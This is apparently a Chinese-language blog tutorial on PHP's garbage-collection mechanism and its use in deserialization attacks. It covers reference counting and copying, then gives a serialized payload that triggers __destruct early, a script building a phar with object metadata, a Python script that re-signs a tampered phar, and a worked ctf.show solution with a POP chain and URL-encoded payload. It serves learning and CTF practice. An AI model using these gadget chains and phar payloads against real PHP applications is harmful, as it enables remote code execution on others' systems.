PHP底层 GC 垃圾回收机制
PHP: 引用计数基本知识 - Manual
建议一定先看完 PHP官方手册的说明
简单理解为一个对象没有被引用的时候 就会被GC
机制回收 在被回收的同时 会触发__destruct()
方法 这是一个关键点~
refcount
变量引用计数 is_ref
是否被引用 bool值
调试工具Xdebug - Debugger and Profiler Tool for PHP 如果是小皮面板的话直接 php扩展开启就行了
PHP不同版本下GC机制有变化 以下环境为PHP 5.4.45
模拟
PHP 深浅拷贝
在 PHP 中引用意味着用不同的名字访问同一个变量内容。这并不像 C 的指针:例如你不能对他们做指针运算,他们并不是实际的内存地址。替代的是,引用是符号表别名。注意在PHP 中,变量名和变量内容是不一样的,因此同样的内容可以有不同的名字。最接近的比喻是 Unix 的文件名和文件本身——变量名是目录条目,而变量内容则是文件本身。引用可以被看作是 Unix 文件系统中的硬链接
引用取消 则需要使用unset()
只是断开了变量名和变量内容之间的绑定,并不是说变量内容被销毁了
深拷贝:
赋值时值完全复制对其中一个作出改变,不会影响另一个
在PHP5以上,对象的 = 赋值和传递都是引用(浅)。php提供了clone
函数实现拷贝副本
直接把$a
赋值给$b
之后,$b
修改并不会对$a
任何影响,可以看到2次输出都是main1o
变量$a
引用计数值refcount
也为1,并且is_ref
也是false
![image-20221120132330657](/p/php_gc%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E6%9C%BA%E5%88%B6/image-20221120132330657.png)
对象的深拷贝 用clone函数拷贝出一个完全一样的对象,修改该对象,并不会影响原始对象
修改$a
对象,只会对$b
对象有影响,并不会对$c
对象有任何影响
![image-20221120134851985](/p/php_gc%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E6%9C%BA%E5%88%B6/image-20221120134851985.png)
浅拷贝:
赋值时,引用赋值,相当于取了一个别名。对其中一个修改,会影响另一个
使用&
来使用自定义引用变量,我们对$a
进行修改 直接影响了$b
“main1o” –> “ikun”
就是$a
和$b
都指向内存中的同一块地址
![image-20221120140131873](/p/php_gc%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E6%9C%BA%E5%88%B6/image-20221120140131873.png)
反序列化中的作用
补充:
方法名 |
作用 |
__construct |
构造函数,在创建对象时候初始化对象,一般用于对变量赋初值 |
__destruct |
析构函数,和构造函数相反,在对象不再被使用时(将所有该对象的引用设为null )或者程序退出 时自动调用 即对象被销毁触发!手动销毁为unset(Object) |
手动销毁对象unset()
触发了$a
对象中的析构函数。提前输出了 1__destruct()
![image-20221120144320001](/p/php_gc%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E6%9C%BA%E5%88%B6/image-20221120144320001.png)
还有对象引用被视为null 也会触发,这里举个例子
变量赋值都是 自右向左 所以数组中的第二个元素0 覆盖了对象失去了引用,那么就满足触发GC回收了。即触发__destruct
![image-20221120150717356](/p/php_gc%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E6%9C%BA%E5%88%B6/image-20221120150717356.png)
Demo :
最后一行代码错误抛出异常,是无法触发__destruct
需要正常结束程序
那我们就可以通过上面介绍的触发GC机制
来绕过。这里将第二个索引置空。
![image-20221120152723396](/p/php_gc%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E6%9C%BA%E5%88%B6/image-20221120152723396.png)
Payload:
1
|
a:2:{i:0;O:1:"B":0:{}i:0;i:0;}
|
![image-20221120160507716](/p/php_gc%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E6%9C%BA%E5%88%B6/image-20221120160507716.png)
GC Phar反序列化利用:
Phar反序列化,使用file_get_contents()
函数,先按照正常流程去生成一个.phar
文件
![image-20221120161313572](/p/php_gc%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E6%9C%BA%E5%88%B6/image-20221120161313572.png)
生成步骤就不一一累述了,注意需要开启php.ini
中的phar.readonly = Off
1
2
3
4
5
6
7
8
9
10
|
<?php
class test{public $code= "phpinfo();";}
$a = new test();
$c = array($a,0);
$b = new Phar('1.phar',0);
$b->startBuffering();
$b->setMetadata($c);
$b->setStub("<?php __HALT_COMPILER();?>");
$b->addFromString("test.txt","test");
$b->stopBuffering();
|
由于生成的phar文件不能随意修改,否则签名不匹配。先按照原来的方法修改数组值,然后在通过脚本进行伪造签名。
使用16进制编辑器打开 可以看到i:1
修改为i:0
保存
![image-20221120162413824](/p/php_gc%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E6%9C%BA%E5%88%B6/image-20221120162413824.png)
exp.py
1
2
3
4
5
6
7
8
|
import gzip
from hashlib import sha1
with open(r"1.phar", "rb") as file:
f = file.read()
s = f[:-28]
h = f[-8:]
newf = s + sha1(s).digest() + h
open("2.phar","wb").write(newf)
|
接着使用phar://
伪协议包含2.phar这个文件即可,成功执行了
![image-20221120162937285](/p/php_gc%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E6%9C%BA%E5%88%B6/image-20221120162937285.png)
例题:
[ctf.show](https://ctf.show/challenges#easy unserialize-1806)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
<?php
include("./HappyYear.php"); // flag文件
class one {
public $object;
public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."</br>";
global $flag;
echo $flag;
}
});
}
public function __destruct() {
@$this->object->add();
}
public function __toString() {
return $this->object->string;
}
}
class second {
protected $filename;
protected function addMe() {
return "Wow you have sovled".$this->filename; // 字符和对象进行拼接 可以触发one()::__toString()
}
public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args); // 接受不存在的属性名和值,拼接然后通过call_user_func() 函数调用内部
}
}
class third {
private $string;
public function __construct($string) {
$this->string = $string;
}
public function __get($name) {
$var = $this->$name; // $name为外部传的值
$var[$name](); // 数组调用类
}
}
if (isset($_GET["ctfshow"])) {
$a=unserialize($_GET['ctfshow']);
throw new Exception("高一新生报道"); // 抛出异常会停止所有操作
} else {
highlight_file(__FILE__);
}
|
POP链子:
one::__destruct => second::__call=> second::addMe => one::__toString => third::__get => one::MeMeMe
因为异常抛出的原因,需要通过gc垃圾回收提前触发析构函数(__destruct()
)
1
2
3
4
5
6
|
$a = new one();
$a->object = new second();
$a->object->filename = new one();
@$a->object->filename->object = new third(array("string" => [new one(), MeMeMe]));
$b = array($a, NULL); // 置空数组
echo urlencode(serialize($b));
|
注意数组需要设置为0达到提前销毁对象的目的 触发gc垃圾回收,%3A1%3B –> %3A0%3B
1
|
a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22thirdstring%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BN%3B%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7D%7D%7D%7Di%3A1%3BN%3B%7D
|
改成:
1
|
a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22thirdstring%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BN%3B%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7D%7D%7D%7Di%3A0%3BN%3B%7D
|
🔗参考链接
PHP新的垃圾回收机制 (yangxikun.com)
PHP的GC机制 - M1kael‘s Blog
浅析PHP GC垃圾回收机制及常见利用方式 - 先知社区 (aliyun.com)